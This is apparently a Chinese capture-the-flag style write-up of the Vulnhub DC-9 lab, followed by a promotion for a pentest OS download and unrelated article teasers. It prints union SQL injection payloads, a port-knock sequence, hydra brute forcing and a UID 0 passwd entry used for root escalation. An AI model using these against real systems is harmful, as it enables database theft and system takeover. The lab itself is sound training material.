Vulnhub DC-9靶机实战

前言

  • 这里说一下这个靶机的难点

  • 1.这次sql注入是两个库的,在不使用sqlmap的情况下很多人直接database()看数据库,另一个库反倒没关注

  • 2.nmap的扫描方式如果用-sT的tcp连接扫端口的话是扫不到那些被防火墙过滤的端口的,直接nmap ip就可以

  • 3.在没有办法头绪的时候,不妨根据猜测去fuzz一些参数,看看能不能找到一个新思路

  • 4.对于容易信息泄露的地方要排除

  • 5.在实战的时候要根据对应的服务去找对应的思路,比如说ssh的请求被过滤了,是被什么防火墙过滤的?这个服务有些什么防范方式,这些都要去一个个排查。

  • tips:这个靶机算是比较接近实战的一个靶机了,冲吧家人们

  • 附上下载链接:https://download.vulnhub.com/dc/DC-9.zip

信息收集

image-20250107154209041

  • 这里ssh被防火墙拦截了(并非没有开,知识被拦截了)

  • 80端口开着

页面分析

首页

image-20250107132144784

  • 发现manage有个登录框,于是想到sql注入找用户名和密码进去,我们后面的思路就围绕这个展开

记录页

image-20250107133109766

  • 发现里面有用户信息

搜索页sql注入

image-20250107174144977

image-20250107130829938

  • 查询入口尝试sql注入发现有回显

查看当前表的列数

image-20250107174602392

image-20250107174617488

  • 用order by 看回显判断列数是6列

爆库

image-20250107175701686

image-20250107175800509

联合注入爆库
-1'union select 1,2,3,4,5,group_concat(schema_name) from information_schema.schemata #
-1'union select 1,2,3,4,5,database() #
可以看到有Staff员工库和users库,我们当前使用的库是staff  注意这里有两个库!!!!!!
对staff库的分析

为了避免混乱我们先分析staff库

爆表

satff库的表

image-20250107173755570

-1' union select 1,2,3,4,5,group_concat(table_name) from information_schema.tables where table_schema='Staff'#
这里有两个表,一个是details,一个是users

爆字段

StaffDetails表的字段

image-20250107173959365

Users表的字段

image-20250107173825184

查询代码
-1' union select 1,2,3,4,5,group_concat(column_name) from information_schema.columns where table_name='Users'#
​
-1' union select 1,2,3,4,5,group_concat(column_name) from information_schema.columns where table_name='StaffDetails'#
  • 注意:这里staff库的第一个表明显是之前我们可以直接查询到的明显不是重点,所以我们看第二个表的内容就好了

爆内容

image-20250107135605978

Mary' union select 1,2,3,4,5,group_concat(Username,',',Password) from Staff.Users #(这里我用逗号隔开会好看一点)
爆了一串值,32位的,应该是md5值,我们去查一下
MD5解密

image-20250107140044680

  • 密码是transorbital1
管理员登录页分析

登录进来了

image-20250107143710064

  • 除了能够新添加一个用户以外就只有一个file不存在的提示了,只有读取了一个不存在的文件才会有这个提示,所以想到使用file参数然后fuzz爆破试试看

如下

image-20250107152339510

image-20250107150505082

  • 可以看到这是个文件读取漏洞

ssh配置文件查看

这里算比较重要的地方了,可以看到我们扫到了一个ssh的配置文件,加上刚才被nmap被过滤,我觉得应该从这里入手,直接看里面的文件信息。

image-20250107162411860

image-20250107162523014

不允许root访问,以及把22端口都注释掉了!!!那咋连接呢,在这个文件里面也没有找到更改了的其他默认端口

ssh入口分析

看似面临绝境,再去找一下ssh的防御手段,最后让我找到了下面这一篇文章!

别让黑客轻易入侵:端口敲门,让你的SSH固若金汤!-CSDN博客

我们去访问一下它的配置文件有没有,就知道是不是这个服务了

image-20250107162951722

一看确实有,还暴露了它的knock序列,7469,8475,9842,然后我们的kali安装一下他这个b服务

使用knocked敲门

image-20250107163400501

image-20250107171841474

  • 注意这里我敲了两次,因为我发现第一次敲完以后他没有开,回去看它的配置文件的时候发现要敲第二遍

准备ssh登录

image-20250107172127161

用admin账号登录发现不行。之前也没有别的登录密码的办法啊就很奇怪。大家先别急,还记得我们的另一个库吗,还没看过呢,这就是我们要分两个库分析的原因啦

对users库的分析

爆表

users库的表

image-20250107180105408

-1' union select 1,2,3,4,5,group_concat(table_name) from information_schema.tables where table_schema='users'#
可以看到只有一个UserDetails表,应该就是我们需要的密码了

爆字段

image-20250107183419766

-1' union select 1,2,3,4,5,group_concat(column_name) from information_schema.columns where table_name='UserDetails' #
果然有密码!!
字段我们选username和password就好了

爆内容

image-20250107183818201

-1' union select 1,2,3,4,5,group_concat(Username,',',Password) from users.UserDetails #
hydra爆破

账号密码都出来了,整理一下是下面这样

image-20250107201015144

image-20250107201355945

这里-C表示使用账号密码一一对应的字典爆破,得到了三个账号和密码

信息泄露
  • 一般提权无所获,在janitor家目录下面找到一组泄露的密码

image-20250107203035170

  • 把旧密码删了然后hydra爆破

image-20250107203327103

  • 爆出了一个新用户密码

  • B4-Tru3-001

image-20250107203459223

提权

image-20250107205032615

  • 给了我们test.py的用法,但是这个不是test.py啊,我们再去找找

image-20250107205124108

  • 发现了一个root用户的py脚本

image-20250107205357280

意思是满足三个参数的条件,然后会把第二个参数的内容写到第三个参数里面去,这很简单啊,只要我们把用户的uid和gid改成0再写到passwd里面不就好了

这里去了解了一下,直接照猫画虎在passwd里面加类似的文件是行不通的,因为passwd还会到shadow里面去验证密码。有个说法说只要在passwd里面写入md5加盐的密码也可以,这里我试一下

openssl生成一个账户密码

image-20250107210218141

username:password:UID:GID:connection:home dictionary:shell 按照这个格式输入到passwd里面
hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0::/root:/bin/bash

先写文件到有权限的目录下

image-20250107212342649

然后我们回到最开始那个test来执行(他应该是一个类似软连接的指向作用吧,反正我们也只能执行这个了。)

image-20250107212928366

执行一下提权成功

image-20250107213014978

image-20250107213046954

最后

感谢大家能够看完我的文章,小弟在这里也不虚头八脑的的去推销什么,就单纯给个工具(真心话,不是什么广告,能看到这里的也能看出来我的文章算是比较简练有效的。。)

就是分享给你们一个网络安全领域里面巨好用的windows系统(不好用直接评论区骂我无所谓的,真)

它比较适合新手小白,里面集成了大量的渗透工具,从漏洞扫描,抓包,反弹webshell,逆向等工具都有,好不好用试一试就知道了,下面是它的图片(左边有东西就不好透露啦,工具真的有很多,而且自带python,java等环境,不会有人现在还在自己花大量的时间配置把,里面还内嵌了kali,是的你没听错,一个系统在手,安全领域我有~

精简界面

image-20250113215207653

海量工具

image-20250113215348431

浏览器自带各种插件

image-20250113215523910

下面是链接

我用夸克网盘分享了「你想要的都在这」,点击链接即可保存。打开「夸克APP」,无需下载在线播放视频,畅享原画5倍速,支持电视投屏。 链接:夸克网盘分享 提取码:kjxd

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/67132.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

快速、可靠且高性价比的定制IP模式提升芯片设计公司竞争力

作者:Karthik Gopal,SmartDV Technologies亚洲区总经理 智权半导体科技(厦门)有限公司总经理 无论是在出货量巨大的消费电子市场,还是针对特定应用的细分芯片市场,差异化芯片设计带来的定制化需求也在芯片…

【Git版本控制器--1】Git的基本操作--本地仓库

目录 初识git 本地仓库 认识工作区、暂存区、版本库 add操作与commit操作 master文件与commit id 修改文件 版本回退 撤销修改 删除文件 初识git Git 是一个分布式版本控制系统,主要用于跟踪文件的更改,特别是在软件开发中。 为什么要版本…

2025宝塔API一键建站系统PHP源码

源码介绍 2025宝塔API一键建站系统PHP源码,对接自己的支付,虚拟主机也能搭建,小白式建站系统,基于宝塔面板搭建的建站系统,功能丰富,多款模板,每日更新 上传源码到服务器,浏览器访问…

在IDEA上运行Java项目

新建一个项目,下面创建模块,然后在src下新建包名,最后见类(class) 设置主题 settings>apparence 设置字体 Editor> Font 设置注释 Editor>Color Scheme>Language Defaults>Comments 设置自动导包 …

2025年01月13日Github流行趋势

1. 项目名称:Jobs_Applier_AI_Agent 项目地址url:https://github.com/feder-cr/Jobs_Applier_AI_Agent项目语言:Python历史star数:25929今日star数:401项目维护者:surapuramakhil, feder-cr, cjbbb, sarob…

DHCP、MSTP+VRRP总结实验

R1即使服务器(给予dhcp的地址的) [LSW1]int Eth-Trunk 12 [LSW1-Eth-Trunk12]mode manual load-balance //配置链路聚合模式为手工负载分担模式 [LSW1-Eth-Trunk12]load-balance src-dst-mac //配置基于源目IP的负载分担模式[LSW1-Eth-Trunk12]trunk p…

【ArcGIS初学】产生随机点计算混淆矩阵

混淆矩阵:用于比较分类结果和地表真实信息 总体精度(overall accuracy) :指对角线上所有样本的像元数(正确分类的像元数)除以所有像元数。 生产者精度(producers accuracy) :某类中正确分类的像元数除以参考数据中该类的像元数(列方向),又称…

有一台服务器可以做哪些很酷的事情

有一台服务器可以做哪些很酷的事情 今天我也来简单分享一下,这几年来,我用云服务器做了哪些有趣的事情。 服务器推荐 1. 个人博客 拥有个人服务器,你可以完全掌控自己的网站或博客。 与使用第三方托管平台相比,你能自由选择网站…

科研绘图系列:R语言绘制Y轴截断分组柱状图(y-axis break bar plot)

禁止商业或二改转载,仅供自学使用,侵权必究,如需截取部分内容请后台联系作者! 文章目录 介绍特点意义加载R包数据下载导入数据数据预处理画图输出总结系统信息介绍 Y轴截断分组柱状图是一种特殊的柱状图,其特点是Y轴的刻度被截断,即在某个范围内省略了部分刻度。这种图表…

pytest+request+yaml+allure搭建低编码调试门槛的接口自动化框架

接口自动化非常简单,大致分为以下几步: 准备入参调用接口拿到2中response,继续组装入参,调用下一个接口重复步骤3校验结果是否符合预期 一个优秀接口自动化框架的特点: 【编码门槛低】,又【能让新手学到…

三轴云台之RTSP流分辨率

三轴云台是一种能够在三个轴向上(通常是俯仰、偏航和滚动轴)准确、稳定地控制其负载(如相机、传感器等)位置和姿态的设备。而RTSP(Real Time Streaming Protocol)是一种网络控制协议,用于控制媒…

Facebook 隐私变革之路:回顾与展望

在数字时代,个人隐私的保护一直是社交平台面临的重大挑战之一。作为全球最大的社交网络平台,Facebook(现为Meta)在处理用户隐私方面的变革,历经了多次调整与完善。本文将回顾Facebook在隐私保护方面的历程,…

STM32 USB组合设备 MSC CDC

STM32 USB组合设备 MSC CDC实现 教程 教程请看大佬niu_88 手把手教你使用USB的CDCMSC复合设备(基于stm32f407) 大佬的教程很好,很详细,我调出来了,代码请见我绑定的资源 注意事项 值得注意的是: 1、 cu…

【C盘清理】C盘清理工具、Unity缓存文件转移

链接: https://pan.baidu.com/s/1yE_7qF741o4NmBIsrd3XzA?pwdbwnn CCleaner 用于清理磁盘垃圾 勾选你要分析的选项,点击分析,分析完毕后,点击清理。 主要别清错东西了。(可以不要勾选网络缓存、网络记录相关的选项&#xff0…

用户注册模块用户校验(头条项目-05)

1 用户注册后端逻辑 1.1 接收参数 username request.POST.get(username) password request.POST.get(password) phone request.POST.get(phone) 1.2 校验参数 前端校验过的后端也要校验,后端的校验和前端的校验是⼀致的 # 判断参数是否⻬全 # 判断⽤户名是否…

Sui Move:基本概览一

Module (模块) Move 代码被组织成模块, 可以把一个模块看成是区块链上的一个智能合约 可以通过调用这些模块中的函数来与模块进行交互,可以通过事务或其他 Move 代码来实现, 事务将被发送到并由Sui区块链进行处理,一旦执行完成,结果的更改将…

matlab的绘图的标题中(title)添加标量以及格式化输出

有时候我们需要在matlab绘制的图像的标题中添加一些变量,这样在修改某些参数后,标题会跟着一块儿变。可以采用如下的方法: x -10:0.1:10; %x轴的范围 mu 0; %均值 sigma 1; %标准差 y normpdf(x,mu,sigma); %使用normpdf函数生成高斯函数…

微服务的自我修养:从拆分到秩序的进化论

文章背景 还记得我第一次接触微服务的场景,那是一个炎热的夏天。系统上线的前一天,单体应用出了点小问题,结果整个平台瘫痪了!所有人手忙脚乱修复,但复杂的代码逻辑让进度异常缓慢。 后来听说可以用微服务架构来拆分系…

YOLOv8从菜鸟到精通(二):YOLOv8数据标注以及模型训练

数据标注 前期准备 先打开Anaconda Navigator,点击Environment,再点击new(new是我下载anaconda的文件夹名称),然后点击创建 点击绿色按钮,并点击Open Terminal 输入labelimg便可打开它,labelimg是图像标注工具,在上篇…

【c语言】指针 (完结)

一、sizeof和strlen的对比 1、sizeof 前面我们在学习操作符的时候,我们学习了sizeof,知道其是计算变量所占内存的大小的,单 位是字节,如果操作数是数据类型的话,计算的就是这个类型的变量所占的内存空间的大…